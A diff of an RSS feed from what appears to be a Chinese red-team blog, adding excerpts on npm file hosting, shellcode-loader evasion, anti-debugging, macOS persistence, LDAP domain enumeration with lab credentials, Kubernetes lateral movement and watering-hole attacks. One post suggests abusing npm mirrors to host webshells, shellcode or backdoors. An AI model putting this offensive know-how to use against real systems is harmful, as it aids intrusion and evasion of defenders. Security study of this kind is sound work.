id="0x00-什么是npm">0x00 什么是NPM?</h2> <p>NPM是随同NodeJS一起安装的包管理工具,NPM可以通过NPM的源下载安装源上发布的JS代码。目前官方源的地址是:https://www.npmjs.com/ 任何人都可以在社区上发布自己的Nodejs代码,但NPM官方的服务器是在境外的,国内想要快速的访问到就必须通过同步源,于是出现了各种NPM镜像源,每隔一段时间就会拉取官方的源同步。既然任何人都可以发布自己的代码到NPM上,我们就可以把NPM的仓库当作一个简单的文件服务器存储一些能够适当公开的静态文件。</p> <h2 id="0x01-托管代码前的准备工作">0x01 托管代码前的准备工作</h2> <p>NPM的认证机制是双因素的(密码+邮箱验证码),注册的时候需要提供真实邮箱:<a href="https://www.npmjs.com/signup">https://www.npmjs.com/signup</a></p> @@ -652,6 +1219,42 @@ <p> <img src="https://images.payloads.online/2022-03-01-18-02-49.png" alt=""> +</p> +<p>可以看到已经生成了package.json这个包的基础信息文件,接下来可以继续创建这个包内的其他文件,这里我随便写了一个index.js。</p> +<p><code>npm publish</code> 用于发布这个包。</p> +<p> + <img src="https://images.payloads.online/2022-03-01-18-03-01.png" alt=""> + +</p> +<h2 id="0x03-如何使用静态文件">0x03 如何使用静态文件?</h2> +<p>NPM有很多源,这里我随便写几个:</p> +<ul> +<li><a href="https://cdn.jsdelivr.net/npm/touch-file@1.0.0/index.js">https://cdn.jsdelivr.net/npm/touch-file@1.0.0/index.js</a></li> +<li><a href="https://mirrors.cloud.tencent.com/npm/touch-file">https://mirrors.cloud.tencent.com/npm/touch-file</a></li> +<li><a href="https://r.cnpmjs.org/touch-file">https://r.cnpmjs.org/touch-file</a></li> +<li><a href="https://mirrors.cloud.tencent.com/npm/touch-file">https://mirrors.cloud.tencent.com/npm/touch-file</a></li> +<li><a href="https://repo.huaweicloud.com/repository/npm/touch-file/-/touch-file-1.0.0.tgz">https://repo.huaweicloud.com/repository/npm/touch-file/-/touch-file-1.0.0.tgz</a></li> +</ul> +<p> + <img src="https://images.payloads.online/2022-03-01-18-03-17.png" alt=""> + +</p> +<p> + <img src="https://images.payloads.online/2022-03-01-18-03-25.png" alt=""> + +</p> +<p>可以看到至少阿里、腾讯是有NPM同步的,但是文件是压缩包,而jsdelivr可以直接访问源文件,这一点可以当作图床、文件传输&hellip;. 我博客的图床就是用的Github + jsdelivr进行加速。</p> +<p>发挥想象:</p> +<ul> +<li>免费图床</li> +<li>文件下载服务器(小工具、webshell、shellcode?)</li> +<li>JS后门&hellip;</li> +<li>&hellip;.</li> +</ul> +<p>PS:如果遇到不太正常的NPM,可以通过Report举报滥用。</p> +<p> + <img src="https://images.payloads.online/2022-03-01-18-03-40.png" alt=""> + </p>静态恶意代码逃逸(第十一课)- 汇编语言编写Shellcode加载器https://payloads.online/archivers/2022-02-16/1/Wed, 16 Feb 2022 17:23:32 +0800https://payloads.online/archivers/2022-02-16/1/<p>代码将会上传至Github,方便读者下载研究 : <a href="https://github.com/Rvn0xsy/BadCode">https://github.com/Rvn0xsy/BadCode</a></p> <h2 id="0x00-nasm与masm">0x00 NASM与MASM</h2> <p><a href="https://www.nasm.us/">NASM</a>与<a href="https://www.masm32.com/">MASM</a>是一个汇编器,能够将汇编代码转换为能够被CPU执行的(目标代码)二进制代码,<a href="https://www.nasm.us/">NASM</a>目前是由H. Peter Anvin提供支持,与MASM相对来说较为自由。MASM是由微软推出,但已经许久没有更新,我开始是从MASM开始看,但是有些书籍会举例很多伪汇编的例子,这不能让我很好的锻炼汇编语言,MASM提供了很多的伪汇编语法,这块我直接跳过,伪汇编代码给我的感觉像是在写C语言。</p> @@ -674,7 +1277,21 @@ </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 8 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 9 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">10 -</span></code></pr某系统 - Java Filter内部反射功能完成远程代码执行https://payloads.online/archivers/2021-12-01/1/Wed, 01 Dec 2021 00:37:56 +0800https://payloads.online/archivers/2021-12-01/1/<h2 id="0x00-java-servlet-api-之-filter">0x00 Java Servlet API 之 Filter</h2> +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-fallback" data-lang="fallback"><span style="display:flex;"><span>; win.asm +</span></span><span style="display:flex;"><span>global Start +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>section .data +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>section .text +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>Start: +</span></span><span style="display:flex;"><span> mov eax,10 +</span></span><span style="display:flex;"><span> int 3 +</span></span></code></pre></td></tr></table> +</div> +</div><p>通过nasm编译:</p>某系统 - Java Filter内部反射功能完成远程代码执行https://payloads.online/archivers/2021-12-01/1/Wed, 01 Dec 2021 00:37:56 +0800https://payloads.online/archivers/2021-12-01/1/<h2 id="0x00-java-servlet-api-之-filter">0x00 Java Servlet API 之 Filter</h2> <p>Filter,字面意思有过滤的意思,其实在Servlet API中,它就是充当了一个过滤器,2000年,Sun公司在Servlet 2.3规范中添加了Filter功能,并在Servlet 2.4中对Filter进行了细节上的补充。每一个Java Servlet Web都可以设置多个Filter,开发人员可以通过<code>web.xml</code>配置Filter的过滤范围。Filter的实现主要通过Servlet API中提供的Filter接口定义的方法,其实就三个方法。</p> <div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"> <table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;"> @@ -689,7 +1306,23 @@ </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 9 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">10 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">11 -</span></code></prMacOS任务计划https://payloads.online/archivers/2021-11-23/1/Tue, 23 Nov 2021 10:10:08 +0800https://payloads.online/archivers/2021-11-23/1/<h2 id="0x00-launchctl">0x00 launchctl</h2> +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-java" data-lang="java"><span style="display:flex;"><span><span style="color:#66d9ef">public</span> <span style="color:#66d9ef">interface</span> <span style="color:#a6e22e">Filter</span> { +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">void</span> <span style="color:#a6e22e">init</span>(FilterConfig var1) <span style="color:#66d9ef">throws</span> ServletException; +</span></span><span style="display:flex;"><span> <span style="color:#75715e">// 对Filter进行初始化,可以通过FilterConfig对象读取web.xml中的&lt;init-param&gt;&lt;/init-param&gt;</span> +</span></span><span style="display:flex;"><span> <span style="color:#75715e">// init只会在Web服务启动时执行1次</span> +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">void</span> <span style="color:#a6e22e">doFilter</span>(ServletRequest var1, ServletResponse var2, FilterChain var3) <span style="color:#66d9ef">throws</span> IOException, ServletException; +</span></span><span style="display:flex;"><span> <span style="color:#75715e">// Filter主要的过滤方法实现,主要是对不同的请求做不同的动作,ServletRequest对象可以转换为HttpServletRequest</span> +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">void</span> <span style="color:#a6e22e">destroy</span>(); +</span></span><span style="display:flex;"><span> <span style="color:#75715e">// Filter执行完毕所要做的操作可以在这个函数中实现</span> +</span></span><span style="display:flex;"><span> <span style="color:#75715e">// destroy只会在Web服务停止时执行1次</span> +</span></span><span style="display:flex;"><span>} +</span></span></code></pre></td></tr></table> +</div> +</div><h2 id="0x01-filter中的filterchain">0x01 Filter中的FilterChain</h2> +<p>通常开发人员会使用<code>web.xml</code>来配置当前站点的各种信息,例如:Servlet、Filter、Listener、显示名称、描述&hellip;等其他信息,关于web.xml的格式定义,oracle官方有一个<a href="https://docs.oracle.com/cd/E13222_01/wls/docs81/webapp/web_xml.html">非常详细的说明</a>。</p>MacOS任务计划https://payloads.online/archivers/2021-11-23/1/Tue, 23 Nov 2021 10:10:08 +0800https://payloads.online/archivers/2021-11-23/1/<h2 id="0x00-launchctl">0x00 launchctl</h2> <blockquote> <p>launchctl是一个统一的服务管理框架,启动、停止和管理守护进程、应用程序、进程和脚本。</p> </blockquote> @@ -716,7 +1349,27 @@ </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">13 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">14 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">15 -</span></code></prBeingDebugged反调试技巧https://payloads.online/archivers/2021-09-13/1/Mon, 13 Sep 2021 10:10:08 +0800https://payloads.online/archivers/2021-09-13/1/<h2 id="0x01-windows-pebprocess-environment-block">0x01 Windows PEB(Process Environment Block)</h2> +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-xml" data-lang="xml"><span style="display:flex;"><span><span style="color:#75715e">&lt;?xml version=&#34;1.0&#34; encoding=&#34;UTF-8&#34;?&gt;</span> +</span></span><span style="display:flex;"><span><span style="color:#75715e">&lt;!DOCTYPE plist PUBLIC &#34;-//Apple//DTD PLIST 1.0//EN&#34; &#34;http://www.apple.com/DTDs/PropertyList-1.0.dtd&#34;&gt;</span> +</span></span><span style="display:flex;"><span><span style="color:#f92672">&lt;plist</span> <span style="color:#a6e22e">version=</span><span style="color:#e6db74">&#34;1.0&#34;</span><span style="color:#f92672">&gt;</span> +</span></span><span style="display:flex;"><span><span style="color:#f92672">&lt;dict&gt;</span> +</span></span><span style="display:flex;"><span> <span style="color:#f92672">&lt;key&gt;</span>Label<span style="color:#f92672">&lt;/key&gt;</span> +</span></span><span style="display:flex;"><span> <span style="color:#f92672">&lt;string&gt;</span>com.example.touchsomefile<span style="color:#f92672">&lt;/string&gt;</span> +</span></span><span style="display:flex;"><span> <span style="color:#f92672">&lt;key&gt;</span>ProgramArguments<span style="color:#f92672">&lt;/key&gt;</span> +</span></span><span style="display:flex;"><span> <span style="color:#f92672">&lt;array&gt;</span> +</span></span><span style="display:flex;"><span> <span style="color:#f92672">&lt;string&gt;</span>touch<span style="color:#f92672">&lt;/string&gt;</span> +</span></span><span style="display:flex;"><span> <span style="color:#f92672">&lt;string&gt;</span>/tmp/helloworld<span style="color:#f92672">&lt;/string&gt;</span> +</span></span><span style="display:flex;"><span> <span style="color:#f92672">&lt;/array&gt;</span> +</span></span><span style="display:flex;"><span> <span style="color:#f92672">&lt;key&gt;</span>StartInterval<span style="color:#f92672">&lt;/key&gt;</span> +</span></span><span style="display:flex;"><span> <span style="color:#f92672">&lt;integer&gt;</span>300<span style="color:#f92672">&lt;/integer&gt;</span> +</span></span><span style="display:flex;"><span><span style="color:#f92672">&lt;/dict&gt;</span> +</span></span><span style="display:flex;"><span><span style="color:#f92672">&lt;/plist&gt;</span> +</span></span></code></pre></td></tr></table> +</div> +</div><h2 id="0x01-守护进程服务文件路径">0x01 守护进程服务文件路径</h2> +<p>plist按照如下优先级排列(由低到高):</p>BeingDebugged反调试技巧https://payloads.online/archivers/2021-09-13/1/Mon, 13 Sep 2021 10:10:08 +0800https://payloads.online/archivers/2021-09-13/1/<h2 id="0x01-windows-pebprocess-environment-block">0x01 Windows PEB(Process Environment Block)</h2> <p>Windows <a href="https://docs.microsoft.com/en-us/windows/win32/api/winternl/ns-winternl-peb">PEB</a>,中文的含义是进程环境块,意味着其中包含了很多与进程相关的复杂信息。微软官方给出了Windows PEB的结构体标准,每一个字段都代表了特定的意义。</p> <div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"> <table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;"> @@ -741,10 +1394,35 @@ </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">19 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">20 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">21 -</span></code></prMASM中VirtualProtect函数的分析https://payloads.online/archivers/2021-09-03/1/Fri, 03 Sep 2021 10:10:08 +0800https://payloads.online/archivers/2021-09-03/1/<h2 id="0x00-调用约定">0x00 调用约定</h2> -<p><a href="https://docs.microsoft.com/en-us/cpp/cpp/stdcall?view=msvc-160">__stdcall</a>关键字用于约定调用Win32 API函数的参数入栈顺序,它的入栈顺序是由右向左,一般C/C++语言代码中没有声明调用约定的话,默认就是<code>__stdcall</code>调用约定。</p> -<p>C++中如果要声明函数的调用约定,可以通过以下格式:</p> -<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"> +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#66d9ef">typedef</span> <span style="color:#66d9ef">struct</span> _PEB { +</span></span><span style="display:flex;"><span> BYTE Reserved1[<span style="color:#ae81ff">2</span>]; +</span></span><span style="display:flex;"><span> BYTE BeingDebugged; +</span></span><span style="display:flex;"><span> BYTE Reserved2[<span style="color:#ae81ff">1</span>]; +</span></span><span style="display:flex;"><span> PVOID Reserved3[<span style="color:#ae81ff">2</span>]; +</span></span><span style="display:flex;"><span> PPEB_LDR_DATA Ldr; +</span></span><span style="display:flex;"><span> PRTL_USER_PROCESS_PARAMETERS ProcessParameters; +</span></span><span style="display:flex;"><span> PVOID Reserved4[<span style="color:#ae81ff">3</span>]; +</span></span><span style="display:flex;"><span> PVOID AtlThunkSListPtr; +</span></span><span style="display:flex;"><span> PVOID Reserved5; +</span></span><span style="display:flex;"><span> ULONG Reserved6; +</span></span><span style="display:flex;"><span> PVOID Reserved7; +</span></span><span style="display:flex;"><span> ULONG Reserved8; +</span></span><span style="display:flex;"><span> ULONG AtlThunkSListPtr32; +</span></span><span style="display:flex;"><span> PVOID Reserved9[<span style="color:#ae81ff">45</span>]; +</span></span><span style="display:flex;"><span> BYTE Reserved10[<span style="color:#ae81ff">96</span>]; +</span></span><span style="display:flex;"><span> PPS_POST_PROCESS_INIT_ROUTINE PostProcessInitRoutine; +</span></span><span style="display:flex;"><span> BYTE Reserved11[<span style="color:#ae81ff">128</span>]; +</span></span><span style="display:flex;"><span> PVOID Reserved12[<span style="color:#ae81ff">1</span>]; +</span></span><span style="display:flex;"><span> ULONG SessionId; +</span></span><span style="display:flex;"><span>} PEB, <span style="color:#f92672">*</span>PPEB; +</span></span></code></pre></td></tr></table> +</div> +</div><p>在Windbg中可以直观的看到PEB字段的详细信息:</p>MASM中VirtualProtect函数的分析https://payloads.online/archivers/2021-09-03/1/Fri, 03 Sep 2021 10:10:08 +0800https://payloads.online/archivers/2021-09-03/1/<h2 id="0x00-调用约定">0x00 调用约定</h2> +<p><a href="https://docs.microsoft.com/en-us/cpp/cpp/stdcall?view=msvc-160">__stdcall</a>关键字用于约定调用Win32 API函数的参数入栈顺序,它的入栈顺序是由右向左,一般C/C++语言代码中没有声明调用约定的话,默认就是<code>__stdcall</code>调用约定。</p> +<p>C++中如果要声明函数的调用约定,可以通过以下格式:</p> +<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"> <table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;"> <pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">1 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">2 @@ -766,7 +1444,22 @@ <li>栈遵循先入后出的原则</li> <li>&hellip;..</li> </ul> -<p>写一段汇编:</p>博客更新了https://payloads.online/archivers/2021-08-30/2/Mon, 30 Aug 2021 00:00:00 +0000https://payloads.online/archivers/2021-08-30/2/<!-- raw HTML omitted --> +<p>写一段汇编:</p> +<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"> +<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">1 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">2 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">3 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">4 +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-fallback" data-lang="fallback"><span style="display:flex;"><span>push 10h ; 代表第 1 个参数 +</span></span><span style="display:flex;"><span>push 20h ; 代表第 2 个参数 +</span></span><span style="display:flex;"><span>pop eax ; eax = 20h +</span></span><span style="display:flex;"><span>pop ebx ; ebx = 10h +</span></span></code></pre></td></tr></table> +</div> +</div><p>栈遵循先入后出的原则,栈顶ESP是低地址,栈底EBP是高地址。</p>博客更新了https://payloads.online/archivers/2021-08-30/2/Mon, 30 Aug 2021 00:00:00 +0000https://payloads.online/archivers/2021-08-30/2/<!-- raw HTML omitted --> <p>接下来的时间会将自己的知识进行归纳,将博客中错误的内容进行更正,将没有成体系的知识文章进行选择性删除&hellip;.</p>Windows活动目录中的LDAPhttps://payloads.online/archivers/2021-08-11/1/Wed, 11 Aug 2021 00:00:00 +0000https://payloads.online/archivers/2021-08-11/1/<h2 id="ldap基础概念">LDAP基础概念</h2> <h3 id="条目entry">条目(Entry)</h3> <p>一个条目有若干个属性,每一个属性应对一个或多个值,有些条目可以包含若干个子条目。</p> @@ -796,7 +1489,50 @@ </p> <h3 id="属性类型attributetype">属性类型(AttributeType)</h3> -<p>属性类型定义了属性值的设定规则(属性语法),以及同一个属性的各个数据相互比较的规则等。</p>Kubernetes(K8s)横向移动办法https://payloads.online/archivers/2021-07-20/1/Tue, 20 Jul 2021 00:00:00 +0000https://payloads.online/archivers/2021-07-20/1/<blockquote> +<p>属性类型定义了属性值的设定规则(属性语法),以及同一个属性的各个数据相互比较的规则等。</p> +<p> + <img src="https://images.payloads.online/b689bbda-4f5f-11ec-8d2e-00d861bf4abb.png" alt="2021-08-11-11-57-13"> + +</p> +<h2 id="ldap-filter-进阶">LDAP Filter 进阶</h2> +<h3 id="ldap-objectcategory与objectclass">LDAP objectCategory与objectClass</h3> +<p>微软的网站上有一篇关于LDAP Filter非常详细的文章:<a href="https://social.technet.microsoft.com/wiki/contents/articles/5392.active-directory-ldap-syntax-filters.aspx">https://social.technet.microsoft.com/wiki/contents/articles/5392.active-directory-ldap-syntax-filters.aspx</a></p> +<p> + <img src="https://images.payloads.online/b6c23ce4-4f5f-11ec-a1ec-00d861bf4abb.png" alt="2021-08-11-12-00-24"> + +</p> +<h3 id="获取所有域内计算机对象">获取所有域内计算机对象</h3> +<p>通过ldapsearch可以跟进不同的条件去检索域内的数据,上面的表格中明确了objectCategory属性与objectClass属性组合可以获取指定对象,通过这个表格,我们尝试获取域内的所有机器:</p> +<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"> +<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">1 +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>ldapsearch -h 192.168.49.132 -b dc<span style="color:#f92672">=</span>domain16,dc<span style="color:#f92672">=</span>local -D cn<span style="color:#f92672">=</span>zhangsan,ou<span style="color:#f92672">=</span>officeuser,dc<span style="color:#f92672">=</span>domain16,dc<span style="color:#f92672">=</span>local -w San@123 objectClass<span style="color:#f92672">=</span>computer dn +</span></span></code></pre></td></tr></table> +</div> +</div><p> + <img src="https://images.payloads.online/b6fdd6a0-4f5f-11ec-ba51-00d861bf4abb.png" alt="2021-08-11-12-00-55"> + +</p> +<p>LDAP Search Option 说明:</p> +<ul> +<li><code>-H</code> ldapuri,格式为ldap://机器名或者IP:端口号,不能与-h和-p同时使用</li> +<li><code>-h</code> LDAP服务器IP或者可解析的hostname,与-p可结合使用,不能与-H同时使用</li> +<li><code>-p</code> LDAP服务器端口号,与-h可结合使用,不能与-H同时使用</li> +<li><code>-x</code> 使用简单认证方式</li> +<li><code>-D</code> 所绑定的服务器的DN</li> +<li><code>-w</code> 绑定DN的密码,与-W二者选一</li> +<li><code>-W</code> 不输入密码,会交互式的提示用户输入密码,与-w二者选一</li> +<li><code>-f</code> 指定输入条件,在RFC 4515中有更详细的说明</li> +<li><code>-c</code> 出错后忽略当前错误继续执行,缺省情况下遇到错误即终止</li> +<li><code>-n</code> 模拟操作但并不实际执行,用于验证,常与-v一同使用进行问题定位</li> +<li><code>-v</code> 显示详细信息</li> +<li><code>-d</code> 显示debug信息,可设定级别</li> +<li><code>-s</code> 指定搜索范围, 可选值:base|one|sub|children</li> +</ul> +<h3 id="获取所有域内用户对象">获取所有域内用户对象</h3> +<p>这里涉及到LDAP的条件逻辑运算,LDAP共有6个逻辑运算符,分别如下:</p>Kubernetes(K8s)横向移动办法https://payloads.online/archivers/2021-07-20/1/Tue, 20 Jul 2021 00:00:00 +0000https://payloads.online/archivers/2021-07-20/1/<blockquote> <p>博客半年没写了,来除除草&hellip;. :(</p> </blockquote> <h2 id="0x01-kubernetes-简介">0x01 Kubernetes 简介</h2> @@ -824,7 +1560,17 @@ <li>容忍度(Toleration)与污点(Taint)</li> </ol> <h3 id="节点node">节点(Node)</h3> -<p>Kubernetes 通过将容器放入在节点(Node)上运行的 Pod 中来执行你的工作负载。 节点可以是一个虚拟机或者物理机器,取决于所在的集群配置。最容易理解的例子:</p>红队技巧:基于反向代理的水坑攻击https://payloads.online/archivers/2021-02-16/1/Tue, 16 Feb 2021 00:00:00 +0000https://payloads.online/archivers/2021-02-16/1/<p>完整项目代码:</p> +<p>Kubernetes 通过将容器放入在节点(Node)上运行的 Pod 中来执行你的工作负载。 节点可以是一个虚拟机或者物理机器,取决于所在的集群配置。最容易理解的例子:</p> +<p> + <img src="https://images.payloads.online/b3b30a38-4f5f-11ec-8073-00d861bf4abb.png" alt="2021-07-20-10-38-26"> + +</p> +<p>该集群有三个节点,我可以在这三个节点上创建很多个Pod,而Pod中可以包含多个容器。在所有的节点中,至少要有一个Master节点,Master节点是第一个加入集群的机器,它具有整个集群的最高权限,本文的目的就是研究如何通过其他节点,横向移动到Master节点,因为Secret敏感信息(令牌、账户密码、公私钥等等)都存储在Kubernetes的etcd数据库上。</p> +<h3 id="pod">Pod</h3> +<p>Pod是可以在 Kubernetes 中创建和管理的、最小的可部署的计算单元。</p> +<p>Pod(就像在鲸鱼荚或者豌豆荚中)是一组(一个或多个) 容器; 这些容器共享存储、网络、以及怎样运行这些容器的声明。 Pod中的内容总是并置(colocated)的并且一同调度,在共享的上下文中运行。 Pod所建模的是特定于应用的“逻辑主机”,其中包含一个或多个应用容器, 这些容器是相对紧密的耦合在一起的。 在非云环境中,在相同的物理机或虚拟机上运行的应用类似于 在同一逻辑主机上运行的云应用。</p> +<p>Pod的共享上下文包括一组 Linux 名字空间、控制组(cgroup)和可能一些其他的隔离方面,即用来隔离Docker容器的技术。 在Pod的上下文中,每个独立的应用可能会进一步实施隔离。</p> +<p>就Docker概念的术语而言,Pod类似于共享名字空间和文件系统卷的一组Docker容器,也就是说Pod是Docker容器的超集。</p>红队技巧:基于反向代理的水坑攻击https://payloads.online/archivers/2021-02-16/1/Tue, 16 Feb 2021 00:00:00 +0000https://payloads.online/archivers/2021-02-16/1/<p>完整项目代码:</p> <ul> <li>Go语言版本:<a href="https://github.com/Rvn0xsy/Pricking">Pricking</a></li> <li>NodeJS版本:<a href="https://github.com/Rvn0xsy/Pricking-node">Pricking-node</a></li> @@ -850,7 +1596,61 @@ </span></code></pre></td> <td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> <pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>docker pull openresty/openresty:alpine -</span></span></code></prCVE-2021-3156 - Exploit修改https://payloads.online/archivers/2021-02-09/1/Tue, 09 Feb 2021 00:00:00 +0000https://payloads.online/archivers/2021-02-09/1/<p>New-Exploit : <a href="https://github.com/Rvn0xsy/CVE-2021-3156-plus">https://github.com/Rvn0xsy/CVE-2021-3156-plus</a></p> +</span></span></code></pre></td></tr></table> +</div> +</div><h3 id="openresty配置文件">OpenResty配置文件</h3> +<p>OpenResty Docker环境共有两块需要关注的配置文件:</p> +<ul> +<li>/etc/nginx/conf.d</li> +<li><a href="https://github.com/openresty/docker-openresty/blob/master/nginx.conf">/usr/local/openresty/nginx/conf/nginx.conf</a></li> +</ul> +<p>其中主配置文件是最精简的,我根据OpenResty的文档优化了一个,后续Dockerfile的编写也是替换的主配置文件。</p> +<h3 id="openresty---lua-ngx-api">OpenResty - Lua Ngx API</h3> +<p>若想要在Nginx配置中执行Lua代码,需要遵循<a href="https://openresty-reference.readthedocs.io/en/latest/Lua_Nginx_API/">Lua Ngx API</a>,文档中提供了<code>*_by_lua</code>,<code>*_by_lua_block</code>和<code>*_by_lua_file</code>来引入Lua代码。</p> +<p><code>nginx.conf</code>简单实例:</p> +<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"> +<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 1 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 2 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 3 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 4 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 5 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 6 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 7 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 8 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 9 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">10 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">11 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">12 +</span><span 